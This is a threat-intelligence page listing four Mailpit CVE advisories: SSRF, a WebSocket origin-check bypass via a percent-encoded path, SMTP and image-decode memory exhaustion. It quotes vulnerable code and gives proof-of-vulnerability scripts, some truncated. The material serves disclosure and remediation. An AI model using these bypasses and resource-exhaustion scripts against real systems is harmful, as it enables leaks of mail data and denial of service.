Threat Intelligence Database
Comprehensive database of the latest cyber threats affecting organizations worldwide. Filter and search to find specific threat intelligence relevant to your organization.
Stop chasing alerts. Route them.
Start free, then upgrade once to turn Radar into an automated delivery engine for your security stack.
Custom feeds / Automations: email, Slack, webhooks, SIEM/MISP / API access (baseline limits)
API access activates after upgrading in Console -> Billing.
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.
Filter Threats
Narrow down the results by type, severity, or affected countries
Threat Intelligence
Click on any threat for detailed analysis and mitigation recommendations
CVE-2026-84697: Server-Side Request Forgery (SSRF) in axllent mailpitCVE-2026-84697 0 Mailpit's IsInternalIP deny list function fails to block the Azure WireServer address 168.63.129.16 and the RFC 2765/6145 IPv4-translated IPv6 prefix, allowing server-side request forgery to internal destinations. Attackers can supply hostnames resolving to these addresses in message content to reach the link check API and proxy endpoint for accessing internal resources. Join the discussion | CVE Database V5 | 09/02/2026, 00:37:53 UTC Added: 09/02/2026, 01:22:41 UTC |
CVE-2026-67448: CWE-177: Improper Handling of URL Encoding (Hex Encoding) in axllent mailpitCVE-2026-67448 0 ## Summary The cross-site WebSocket hijacking fix was reimplemented as an origin check gated on a raw-URI prefix test, but Go's ServeMux routes on the percent-decoded path, so requesting /%61pi/events reaches the WebSocket handler while skipping the only origin control, and the upgrader itself accepts every origin. Confirmed at HEAD 408b30d. Affects 1.29.0 through 1.30.5. ## The defect Two halves that were each correct in isolation. server/websockets/client.go accepts any origin and delegates the check elsewhere: ```go var upgrader = websocket.Upgrader{ // line 33 ... CheckOrigin: func(_ *http.Request) bool { // line 37 // origin is checked via server.go's CORS settings return true // line 39 }, } ``` server/server.go performs that check but keys it on the RAW request target: ```go if strings.HasPrefix(r.RequestURI, config.Webroot+"api/") || htmlPreviewRouteRe.MatchString(r.RequestURI) { // line 320 if allowed := corsOriginAccessControl(r); !allowed { http.Error(w, "Blocked due to CORS violation", http.StatusForbidden) return } ``` r.RequestURI is the untouched wire target; Go's ServeMux routes on the percent-DECODED path. So for /%61pi/events: `strings.HasPrefix("/%61pi/events", "/api/")` is FALSE (origin check skipped), ServeMux decodes %61 to "a" and routes to /api/events, and the upgrader's CheckOrigin returns true. Measured, default config, no auth: /api/events with `Origin: https://evil.example` returns 403; /%61pi/events with the same Origin returns 101 Switching Protocols and begins streaming. With a message delivered over SMTP while the cross-origin socket was open, the attacker origin received the ID, Message-Id, From, To, Cc, Bcc, Subject ("SECRET password reset token abc123"), size, tags, and body Snippet, live. WebSockets are not subject to CORS response-header enforcement, so the absent Access-Control-Allow-Origin header provides no protection once the upgrade succeeds. Regression provenance: commit 6f1f4f3 (2026-01-10, v1.28.2) fixed CVE-2026-22689 by DELETING CheckOrigin; commit a63bcd9 (2026-01-31, first in v1.29.0) reintroduced CheckOrigin returning true and replaced the protection with the bypassable raw-prefix test. ## Attacker model and verification Any website the developer visits while Mailpit is running. No credentials, no ability to send mail, no interaction beyond visiting a page. Requires Mailpit without --ui-auth-file (the default, and the same precondition as the original CVE). The bypass was measured live against a real Mailpit instance on loopback, including the 403-versus-101 control pair; authentication still holds (the encoded path returns 401 when --ui-auth-file is set); browser reachability was confirmed against the WHATWG URL parser, which preserves %61. ## Suggested fix Do not make security decisions on r.RequestURI. Key the check on r.URL.Path, the decoded value the router uses, so the gate and the route agree. Better, restore a real CheckOrigin on the upgrader so the WebSocket carries its own origin enforcement rather than depending on a middleware prefix match. Secondary (Low, not claimed as XSS): server/apiv1/message.go lines 154-155 echo an attacker-chosen Content-Type with Content-Disposition: inline; this is blocked today by the nonce CSP. ## Tooling I used AI assistance while investigating. The bypass was measured live against a real Mailpit instance on loopback, including the 403-versus-101 control pair and the authenticated 401 case, and I separately confirmed at HEAD the CheckOrigin returning true with its delegating comment and the RequestURI-keyed prefix gate. Join the discussion | CVE Database V5 | 08/20/2026, 21:34:58 UTC Added: 08/20/2026, 21:54:24 UTC |
CVE-2026-67447: CWE-770: Allocation of Resources Without Limits or Throttling in axllent mailpitCVE-2026-67447 0 ## Summary Mailpit's SMTP DATA reader enforces the configured `MaxMessageSize` only after `bufio.Reader.ReadBytes('\n')` has already buffered a complete DATA line. A remote unauthenticated SMTP client can send one line larger than the configured message-size cap and force memory allocation before Mailpit returns the expected `552 5.3.4` rejection, leaving patched versions still exposed to a single-line incomplete-fix variant of the earlier SMTP DATA body-size issue. ## Technical Details Mailpit enables SMTP by default. The SMTP server now wires `config.MaxMessageSize` into `srv.MaxSize`: ```go if config.MaxMessageSize > 0 { srv.MaxSize = config.MaxMessageSize * 1024 * 1024 } ``` The DATA reader then checks that cap, but only after reading a full newline-terminated line into memory: ```go line, err := s.br.ReadBytes('\n') if err != nil { return nil, err } if bytes.Equal(line, []byte(".\r\n")) { break } if line[0] == '.' { line = line[1:] } if s.srv.MaxSize > 0 { if len(data)+len(line) > s.srv.MaxSize { _, _ = s.br.Discard(s.br.Buffered()) return nil, maxSizeExceeded(s.srv.MaxSize) } } ``` This ordering violates the size-limit invariant. The configured cap can reject the message only after the attacker has supplied the line terminator and `ReadBytes('\n')` has allocated the over-limit line. With the default 50 MiB cap, a 64 MiB single DATA line is still buffered before Mailpit returns `552 5.3.4 Requested mail action aborted: exceeded storage allocation (52428800)`. This is related to the older SMTP DATA body-size advisory, but it is a post-fix gap: `srv.MaxSize` is now assigned, and normal multi-line DATA accumulation is bounded. The remaining issue is that one individual DATA line is not bounded before buffering. ## PoV The following reduced proof starts a local Mailpit release binary, sends a small DATA message as a negative control, then sends one 64 MiB DATA line without an intermediate newline. It samples process RSS while the request is in flight: ```python #!/usr/bin/env python3 import os, socket, subprocess, threading, time from pathlib import Path def free_port(): s = socket.socket() s.bind(("127.0.0.1", 0)) p = s.getsockname()[1] s.close() return p def rss_kib(pid): return int(subprocess.check_output(["ps", "-o", "rss=", "-p", str(pid)], text=True).strip()) def recv_line(sock): data = b"" while not data.endswith(b"\n"): chunk = sock.recv(1) if not chunk: break data += chunk return data.decode("latin-1", "replace").strip() def send_cmd(sock, cmd): sock.sendall(cmd) return recv_line(sock) def wait_for_smtp(port): deadline = time.time() + 8 while time.time() < deadline: try: with socket.create_connection(("127.0.0.1", port), timeout=0.5) as sock: recv_line(sock) return except OSError: time.sleep(0.1) raise RuntimeError("SMTP server did not become ready") def send_data_line(port, pid, label, payload_bytes, finish_message): stop = threading.Event() peak = {"rss": rss_kib(pid)} def monitor(): while not stop.is_set(): peak["rss"] = max(peak["rss"], rss_kib(pid)) time.sleep(0.03) t = threading.Thread(target=monitor, daemon=True) t.start() sock = socket.create_connection(("127.0.0.1", port), timeout=20) try: recv_line(sock) send_cmd(sock, b"HELO pov.example\r\n") send_cmd(sock, b"MAIL FROM:<[email protected]>\r\n") send_cmd(sock, b"RCPT TO:<[email protected]>\r\n") send_cmd(sock, b"DATA\r\n") sock.sendall(f"Subject: {label}\r\n\r\n".encode()) chunk = b"A" * min(1024 * 1024, payload_bytes) remaining = payload_bytes while remaining: n = min(len(chunk), remaining) sock.sendall(chunk[:n]) remaining -= n sock.sendall(b"\r\n.\r\n" if finish_message else b"\r\n") response = recv_line(sock) finally: stop.set() t.join(timeout=1) sock.close() after = rss_kib(pid) return response, max(peak["rss"], after), after mailpit = "./mailpit" workdir = Path("./pov-work") workdir.mkdir(exist_ok=True) http_port, smtp_port = free_port(), free_port() proc = subprocess.Popen([mailpit, "--disable-version-check", "--database", str(workdir / "mailpit.db"), "--listen", f"127.0.0.1:{http_port}", "--smtp", f"127.0.0.1:{smtp_port}", "--max-message-size", "50"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, env=os.environ.copy()) try: wait_for_smtp(smtp_port) time.sleep(0.25) max_message_size_mib = 50 control_payload = 1024 oversized_payload = 64 * 1024 * 1024 baseline = rss_kib(proc.pid) control_resp, control_peak, after_control = send_data_line(smtp_port, proc.pid, "negative-control", control_payload, True) oversized_resp, oversized_peak, after_oversized = Join the discussion | CVE Database V5 | 08/20/2026, 21:34:52 UTC Added: 08/20/2026, 21:37:41 UTC |
CVE-2026-67446: CWE-400: Uncontrolled Resource Consumption in axllent mailpitCVE-2026-67446 0 ## Summary Mailpit's thumbnail endpoint decodes attacker-supplied image attachments into a full raster before checking any decoded-pixel, dimension, or memory budget. A remote client that can store an email and reach the default web API can supply a compact high-dimension image, then request `/api/v1/message/{id}/part/{partID}/thumb` to force server-side memory and CPU work far larger than the encoded attachment size before Mailpit returns a 180x120 thumbnail. ## Technical Details The route is registered as `GET /api/v1/message/{id}/part/{partID}/thumb` in `server/server.go`. The handler in `server/apiv1/thumbnails.go` loads the requested attachment and accepts any part whose content type begins with `image/`: ```go a, err := storage.GetAttachmentPart(id, partID) // ... if !strings.HasPrefix(a.ContentType, "image/") { blankImage(a, w) return } buf := bytes.NewBuffer(a.Content) img, err := imaging.Decode(buf, imaging.AutoOrientation(true)) ``` `storage.GetAttachmentPart()` reparses the stored raw email and returns the matching attacker-supplied attachment bytes. `Thumbnail()` then calls `imaging.Decode()` before any check on declared dimensions or estimated decoded bytes. The subsequent `imaging.Fill(img, 180, 120, ...)`, `imaging.Clone()`, and JPEG encode only happen after the full image has already been decoded. The thumbnail output is fixed at 180x120, so the endpoint does not need to decode arbitrarily large rasters. The current implementation lets a small compressed PNG declare large dimensions and expand to tens or hundreds of MiB of decoded pixels before scaling. The default message-size controls do not stop this class: they bound encoded message/attachment bytes, while this issue is encoded-size to decoded-raster amplification after storage. The UI also naturally reaches this endpoint for image attachments. `server/ui-src/components/message/MessageAttachments.vue` uses `/api/v1/message/{message.ID}/part/{part.PartID}/thumb` as the `<img src>` for image attachments, so opening an affected message in the web UI can trigger the decode path. A client with API access can also call the endpoint directly. ## PoV The following test creates a valid all-zero RGBA PNG by streaming compressed scanlines, so the generator does not need to allocate the full source image. It then exercises both the direct decode/scale operation and the real handler path: store an email with the PNG attachment, resolve the actual `PartID`, and call `Thumbnail()`. The oversized case uses a 4096x4096 image. That is intentionally bounded for safe local reproduction, but it is enough to show a 65,301-byte encoded PNG becoming an estimated 67,108,864-byte decoded RGBA raster before thumbnail scaling. The negative control is a 16x16 PNG. ```go package apiv1 import ( "bytes" "compress/zlib" "encoding/base64" "encoding/binary" "fmt" "hash/crc32" "net/http" "net/http/httptest" "path/filepath" "strings" "testing" "github.com/axllent/mailpit/config" "github.com/axllent/mailpit/internal/logger" "github.com/axllent/mailpit/internal/storage" "github.com/kovidgoyal/imaging" ) func pngChunk(kind string, data []byte) []byte { var out bytes.Buffer _ = binary.Write(&out, binary.BigEndian, uint32(len(data))) out.WriteString(kind) out.Write(data) crc := crc32.NewIEEE() crc.Write([]byte(kind)) crc.Write(data) _ = binary.Write(&out, binary.BigEndian, crc.Sum32()) return out.Bytes() } func solidRGBApng(width, height int) []byte { var out bytes.Buffer out.Write([]byte{0x89, 'P', 'N', 'G', '\r', '\n', 0x1a, '\n'}) ihdr := make([]byte, 13) binary.BigEndian.PutUint32(ihdr[0:4], uint32(width)) binary.BigEndian.PutUint32(ihdr[4:8], uint32(height)) ihdr[8] = 8 ihdr[9] = 6 out.Write(pngChunk("IHDR", ihdr)) var compressed bytes.Buffer zw := zlib.NewWriter(&compressed) row := make([]byte, 1+width*4) for i := 0; i < height; i++ { _, _ = zw.Write(row) } _ = zw.Close() out.Write(pngChunk("IDAT", compressed.Bytes())) out.Write(pngChunk("IEND", nil)) return out.Bytes() } func TestThumbnailDecodeDimensionAmplificationPoV(t *testing.T) { for _, tc := range []struct { name string width int height int }{ {name: "negative-control", width: 16, height: 16}, {name: "oversized-attachment", width: 4096, height: 4096}, } { t.Run(tc.name, func(t *testing.T) { payload := solidRGBApng(tc.width, tc.height) img, err := imaging.Decode(bytes.NewReader(payload), imaging.AutoOrientation(true)) if err != nil { t.Fatalf("decode failed: %v", err) } thumb := imaging.Fill(img, thumbWidth, thumbHeight, imaging.Center, imaging.Lanczos) if thumb.Bounds().Dx() != thumbWidth || thumb.Bounds().Dy() != thumbHeight { t.Fatalf("unexpected thumbnail Join the discussion | CVE Database V5 | 09/02/2026, 23:39:08 UTC Added: 08/20/2026, 21:22:39 UTC |
Showing 1 to 4 of 4 results